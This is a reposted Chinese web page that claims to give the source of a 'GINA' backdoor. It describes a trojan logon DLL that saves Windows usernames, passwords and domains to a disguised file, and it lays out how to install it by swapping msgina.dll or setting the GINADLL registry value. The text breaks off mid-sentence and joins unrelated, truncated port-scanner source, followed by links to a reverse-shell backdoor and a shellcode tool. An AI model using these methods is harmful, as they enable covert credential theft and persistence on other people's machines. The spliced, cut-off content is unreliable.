[转载]后门工具gina源代码

news/2024/11/9 14:18:16
导读:
  
  信息来源:bingle之家
  文章作者:bingle
  /*
  NTShellGINA.c - a gina stub come from NTShell 1.0
  by:bingle@email.com.cn, from homepage:bingle_site.top263.net
  This file is modified from microsoft sample ginastub.c,
  this file will save the logon password to the file system32//msole32.srg
  WinLogon登录管理:
  Winlogon进程负责管理登录相关的安全性工作,它负责处理用户的登录与注销、启动用户shell、输入口令
  、更改口令、锁定与解锁工作站等。Winlogon进程必须保证其与安全相关操作对其他进程不可见,以免其他
  进程取得登录密码。
  系统初始化时,启动用户程序之前,Winlogon进行特定工作已保障以上的需求。Winlogon进程将创建并打开
  一个Window Stations,然后设置一个访问控制人口(ACE),该ACE中只包含Winlogon进程的SID,这样就
  只有Winlogon进程才能访问该Window Stations 。然后winlogon创建桌面,设置其中的winlogon桌面
  只有winlogon可以访问,其他进程不能访问该桌面的任何数据和代码;利用这一特性保护口令、锁定桌面
  等操作的安全。winlogon还会注册安全注意序列(SAS - secure attention sequence)的热键,任何时候
  按下SAS热键(缺省为ctrl+alt+del),将调用Winlogon,切换到安全桌面,从而使密码捕捉程序不能接收
  登录密码和更改密码等安全活动。
  而登录进程的验证和身份验证都是在GINA(GINA - Graphical Identification and Authentication
  图形标识和身份验证)中实现的,微软的GINA是MSGINA.dll,实现了默认的Windows NT登录界面。
  不过可以自己开发GINA DLL以实现其他的身份验证方法,如磁卡。当然这也为木马留下了机会,可以通过
  编写和系统GINA界面相同的GINA,然后取代MSGINA.dll。在msdn sample里有一个GINA的例子。不过如果
  仅仅为了获取登录密码,没有必要那么麻烦,只需写一个接口和GINA一样的,然后所有函数在实现时都去调
  用MSGINA.dll的相同函数就可以了,在msdn sample里也有这样一个例子叫做ginastub,当然作为木马
  还要在登录时将密码转储。(更多的gina信息,在msdn里查找gina)
  NTShelGINA就是使用了后一种方法。我把ginastub改了改,在登录时将username:password:domain
  存在msole32.srg里。它在运行时具体功能都要调用msgina.dll,因此安装时这个文件必须存在,然后将
  msgina.dll改名为winlogon32.dll,然后把NTShellGINA.dll拷贝为msgina.dll即可。这是ntshell
  里的第二种安装方法。
  不过微软还在注册表里留了一个位置由于安装GINA,在HKLM/Software/Microsoft
  /Windows NT/CurrentVersion/Winlogon下设置GINADLL为某个GINA DLL,(GINADLL这个值缺省没有)
  如果设置了这个值,nt会调用该GINA,而不会调用缺省的msGINA.dll。因此NTShell的第一种安装方法是
  将NTShellGINA.dll拷贝到system32/mshtmlgi.dll,然后设置GINADLL为mshtmlgi.dll。
  因此第二种方法安装成功的前提是系统原来没有设置GINADLL这个值,否则将不予安装NTShellGINA 。
  当然在win2000里如果使用第二种安装方法还要把dllcache里msgina.dll改名。(ntshell改名为
  mshtmlgi.dll)。
  由于GINA DLL负责系统认证和安全登录,因此如果一旦出错,用户将不能登录系统,必须慎用。也因此
  NTShell在安装时作了较多的检测,如果检测失败将不予安装。比如在把ntshellgina.dll拷贝为文件
  msgina.dll的安装方法里,第一次mslogon32.dll<-msgina.dll<-ntshellgina.dll,如果再次安装
  用msgina.dll替换mslogon32.dll,用ntshellgina.dll替换后来的msgina.dll(其实还是ntshellgina.dll)
  ,这样原来的msgina.dll就没有了,只有两个ntshellgina.dll,找不到真正的msgina.dll,ntshellgina.dll
  将失败。
  ntshell依次作如下检测:
  注册表里的GINADLL如果设置,则认为系统不是使用默认的登录GINA,自然不予安装(找不
  到msgina.dll或者其他程序工作不正常)
  如果系统的msgina.dll和ntshellgina.dll相同,则认为已经安装过了,不能再次安装
  如果系统中存在mslogon32.dll,有可能使用ntshell安装过了,不再安装(除非你确认,msgina.dll
  还是原来的,可以手工删除mslogon32.dll,再安装;否则不要安装)
  如果安装出错,不能登录,可以参考msdn的如下说明进行恢复:(我使用的是第4种方法,其他的未试)
  WARNING! - It is possible to make your machine unusable if you install a
  replacement Gina and it fails. To avoid this situation, be sure that you have
  a method of accessing the %systemroot%/SYSTEM32 directory independent of the
  Windows NT? installation you are testing on.
  If the Gina sample malfunctions, and you are not able to log on to fix the problem,
  you can recover by doing one of the following:
  1.If the test machine is on the network and you have an account on another machine
  with Administrative privileges on the test machine, open the test machine registry
  remotel/*
  ===================HUC Command line PortScanner V0.2 ==================
  =================By Lion, 2002. http://www.cnhonker.net================
  */
  Copy code#include
  #include
  // 编译时需使用的库
  #pragma comment(lib,"wsock32.lib")
  // select()成员定义
  #define ZERO (fd_set *)0
  // 变量定义
  int maxth, scanok, scannum;
  int portip, hoststart, hoststop, startport, endport;
  long searchnum, searched;
  void usage(char *); // 定义显示使用方法函数
  void playx(int); // 定义状态提示函数
  void setip2(char *); // 定义设置IP函数
  void customport(char *, char *, char *); // 定义自定义扫描端口函数
  void portscannow(int); // 定义端口扫描扫描
  // 主程序
  int main(int argc, char *argv[])
  {
  WSADATA wsadata;
  // 清屏
  system("cls.exe");
  // 显示版本信息
  printf("/r/n==================== HUC Command Line PortScanner V0.2 ====================");
  printf("/r/n=============== By Lion, Welcome to [url]http://www.cnhonker.net[/url] ===============/r/n/n");
  // 检查输入
  if ((argc < 3) || (argc > 4))
  {
  // 显示帮助提示
  usage(argv[0]);
  return -1;
  }
  // 检测是否为port扫描
  if(!(stricmp(strlwr(argv[1]), "-p") == 0))
  {
  usage(argv[0]);
  return -1;
  }
  // 程序初始化
  if (WSAStartup(MAKEWORD(1,1), &wsadata) != 0)
  {
  printf("/r/nWsatartup error");
  return -1;
  }
  // 端口扫描参数转换
  // 如果参数为三个
  if (argc == 3)
  {
  // 直接设置IP
  setip2(argv[2]);
  }
  // 如果参数为四个
  else
  if (argc == 4)
  {
  // 进入定制端口扫描处理
  customport(argv[0], argv[2], argv[3]);
  }
  // 参数过多显示帮助
  else
  {
  usage(argv[0]);
  return -1;
  }
  // 扫描端口开始
  portscannow(argc);
  WSACleanup();
  return 0;
  }
  // 帮助提示函数
  void usage(char * prog)
  {
  printf("Usage: %s

http://www.niftyadmin.cn/n/3650733.html

相关文章

简单的方式由数据库的物理表(TABLE)生成实体类(DTO)

步骤&#xff1a;通过DataBaseMetaData一次获取想要的各个表和相关的列信息。再分析各个列的类型&#xff0c;生成文件。---------------------------------------------------------------------------------------------------非常简单&#xff0c;只需要读一次数据库&#x…

查看完整版本: 使用C语言编写提取通用shellcode的程序

导读&#xff1a; 使用C语言编写提取通用shellcode的程序文章修改&#xff1a;Hume/冷雨飘心 文章注释&#xff1a;我非我[F.S.T] 信息来源&#xff1a;黑客基地 [code]/* 说明&#xff1a;此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode 用vc编…

查看完整版本: weibo反弹后门的源代码

导读&#xff1a; weibo反弹后门的源代码软件作者&#xff1a;weibo [b]headerf.h[/b] 这里面放了公共函数&#xff0c;还有一些声明 [code]#ifndef _BDH_ #define _BDH_ #include #include #include #include #pragma comment(lib,"ws2_32.lib") #define SIO_RCVALL…

看一个比较各种语言的帖子的一点看法

昨天看了一本讲CLR的书说一种语言包括语义和语法语义是基础&#xff0c;定义了所有的抽象性&#xff0c;是核心&#xff0c;是内在的东西。语法则是其实现&#xff0c;是表现形式&#xff0c;只是一个包装。理解了抽象性的语义才算是精通一门语言&#xff0c;与语法无关。对于一…

xmlhttp存在最大并发数,ajax设计应有所斟酌[zz]

这次认真的测试了三种浏览器&#xff08;ie/firefox/opera&#xff09;的xmlhttp并发行为&#xff0c;发现如果用户同时发出很多xmlhttp 异步请求&#xff0c;那么浏览器不是一股脑全把请求发出去&#xff0c;而是存在一个最大并发数。我的机器测试发现&#xff0c;ie和ff里面是…

windows2000本地登陆过程及利用方法

导读&#xff1a; 当你从Windows 2000 Professional or Server登录时,意见Windows 2000 用两种过程验证本地登录. Windows 2000尝试使用 Kerberos 作为基本验证方式. 如 果找不道 Key Distribution Center (KDC) 服务, Windows 会使用Windows NTLanManager(NTLM) 安全机制来验证…

Winlogon原理

导读&#xff1a; 自己写Winlogon必须实现以下技术细节: 1.首先建立WindowStation,名字必须为Winsta0;因为某内核模式的程序里有对Winsta0的引用 2.建立三个桌面;首先必须建立winlogon名字的桌面,因为win32k.sys里有对winlogon名字桌面 的引用;接着建立default桌面,因为explore…

SQL6031N 在 db2nodes.cfg 文件的行号1 上出错。原因码为10。

DB2数据库服务器 v8(Linux)在更改机器名后数据库服务异常&#xff0c;症状是当使用db2 list db directory命令或者其他命令的时候提示错误信息如下&#xff1a;SQL6031N 在 db2nodes.cfg 文件的行号"1" 上出错。原因码为"10"。解决的办法: 打开DB2实例所有…